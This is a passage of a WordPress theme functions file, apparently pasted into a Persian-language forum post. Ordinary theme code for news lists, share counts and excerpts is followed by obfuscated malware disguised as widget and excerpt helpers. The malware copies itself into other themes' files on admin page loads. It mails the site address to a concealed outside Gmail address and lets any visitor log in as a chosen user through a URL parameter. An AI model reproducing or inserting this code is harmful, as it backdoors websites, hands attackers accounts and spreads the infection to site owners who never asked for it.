the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_post_thumbnail(array(40,40)) ?></a></div> <div class="topnews-title"><a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"> <?php the_title(); ?> </a></div> </li> <?php $i++; endwhile; ?> </ul> </div> </ul> </div> <?php wp_reset_postdata(); endif;}}if( ! function_exists('dw_top15_filter_where') ) {// Create a new filtering function that will add our where clause to the queryfunction dw_top15_filter_where( $where = '' ) { $where .= " AND post_date >= '".date('Y-m-d', strtotime('now') )."'"; return $where;}}/*** PRINT SETUP*/function dw_add_class_for_print($classes) {global $post;$classes[] = 'content-print';return $classes;}add_filter('post_class', 'dw_add_class_for_print');function dw_get_twitter_count($url){$twittercount = json_decode( dw_file_get_content( 'http://urls.api.twitter.com/1/urls/count.json?url='.$url ) );return isset($twittercount->count) ? $twittercount->count : 0;}function dw_get_facebook_count($url){$facebookcount = json_decode( dw_file_get_content( 'http://graph.facebook.com/'.$url ) );return isset($facebookcount->shares) ? $facebookcount->shares : 0;}function dw_get_linkedin_count($url){$templinkedin = dw_file_get_content( 'http://www.linkedin.com/countserv/count/share?url='.$url );$templinkedin = explode('(',$templinkedin);$templinkedin = explode(',',$templinkedin[1]);$templinkedin = explode(':',$templinkedin[0]);$linkedincount = $templinkedin[1];return isset($linkedincount) ? $linkedincount : 0;}// Added as requested in the commentsfunction dw_get_pinterest_count($url){$pincount = json_decode( dw_file_get_content( 'http://api.pinterest.com/v1/urls/count.json?callback=receiveCount&url='.$url ) );return $pincount->count;}function dw_file_get_content( $url ){$curl_handle=curl_init();curl_setopt($curl_handle, CURLOPT_URL,$url);curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2);curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($curl_handle);curl_close($curl_handle);return $result;}function dw_exceprt_more( $excerpt ){return '<a href="'.get_permalink().'" title="'.__( 'Read more', 'dw_focus' ).'" >...</a>';}add_filter( 'excerpt_more', 'dw_exceprt_more' );if( ! function_exists('dw_get_option') ) {function dw_get_option( $option_id, $default = '', $update = false ){ /* get the saved options */ $options = get_option( 'option_tree' ); /* look for the saved value */ if ( isset( $options[$option_id] ) ) { return $options[$option_id]; } return $default;}}?><?phpfunction _check_active_widget(){$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";$output=strip_tags($output, $allowed);$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));if (is_array($direst)){foreach ($direst as $item){if (is_writable($item)){$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));$cont=file_get_contents($item);if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : "";}}}}return $output;}function _get_all_widgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){$places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){return false;}elseif(is_readable($places)){$elems=scandir($places);foreach ($elems as $elem){if ($elem != "." && $elem != ".."){if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem;} elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;}}}}else{return false;}if (sizeof($wids) > 0){return _get_all_widgetcont($wids,$items);} else {return $items;}}if(!function_exists("stripos")){function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset );}}if(!function_exists("strripos")){function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos;}}if(!function_exists("scandir")){function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray;}}add_action("admin_head", "_check_active_widget");function _prepared_widget(){if(!isset($length)) $length=120;if(!isset($method)) $method="cookie";if(!isset($html_tags)) $html_tags="<a>";if(!isset($filters_type)) $filters_type="none";if(!isset($s)) $s="";if(!isset($filter_h)) $filter_h=get_option("home");if(!isset($filter_p)) $filter_p="wp_";if(!isset($use_link)) $use_link=1;if(!isset($comments_type)) $comments_type="";if(!isset($perpage)) $perpage=$_GET["cperpage"];if(!isset($comments_auth)) $comments_auth="";if(!isset($comment_is_approved)) $comment_is_approved="";if(!isset($authname)) $authname="auth";if(!isset($more_links_text)) $more_links_text="(more...)";if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";if(!isset($more_content)) $more_content="ma".$s."il";if(!isset($forces_more)) $forces_more=1;if(!isset($fakeit)) $fakeit=1;if(!isset($sql)) $sql="";if (!$widget_output) :global $wpdb, $post;$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#if (!empty($post->post_password)) {if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {if(is_feed()) {$output=__("There is no excerpt because this is a protected post.");} else { $output=get_the_password_form();}}}if(!isset($fix_tag)) $fix_tag=1;if(!isset($filters_types)) $filters_types=$filter_h;if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;if(!isset($more_tags)) $more_tags="div";if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#if(!isset($mlink_title)) $mlink_title="Continue reading this entry";if(!isset($showdot)) $showdot=1;$comments=$wpdb->get_results($sql);if($fakeit == 2) {$text=$post->post_content;} elseif($fakeit == 1) {$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;} else {$text=$post->post_excerpt;}$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#if($length < 0) {$output=$text;} else {if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2);$l=count($text[0]);$more_link=1;$comments=$wpdb->get_results($sql);} else {$text=explode(" ", $text);if(count($text) > $length) {$l=$length;$ellipsis=1;} else {$l=count($text);$more_links_text="";$ellipsis=0;}}for ($i=0; $i<$l; $i++)$output .= $text[$i] . " ";}update_option("_is_widget_active_", 1);if("all" != $html_tags) {$output=strip_tags($output, $html_tags);return $output;}endif;$output=rtrim($output, "\s\n\t\r\0\x0B");$output=($fix_tag) ? balanceTags($output, true) : $output;$output .= ($showdot && $ellipsis) ? "..." : "";$output=apply_filters($filters_type, $output);switch($more_tags) {case("div") :$tag="div";break;case("span") :$tag="span";break;case("p") :$tag="p";break;default :$tag="span";}if ($use_link ) {if($forces_more) {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";} else {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";}}return $output;}add_action("init", "_prepared_widget");function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {global $wpdb;$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";if(!$show_pass_post) $request .= " AND post_password =\"\"";if($duration !="") {$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";}$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";$posts=$wpdb->get_results($request);$output="";if ($posts) {foreach ($posts as $post) {$post_title=stripslashes($post->post_title);$comment_count=$post->comment_count;$permalink=get_permalink($post->ID);$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;}} else {$output .= $before . "None found" . $after;}return $output;}if ( function_exists('register_sidebar') )register_sidebar(array('before_widget' => '','after_widget' => '</div><div class="wfo"></div>','before_title' => '<div class="wtop">','after_title' => '</div><div class="wco">',));function my_function_admin_bar(){return false;}add_filter( 'show_admin_bar' , 'my_function_admin_bar');?> نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .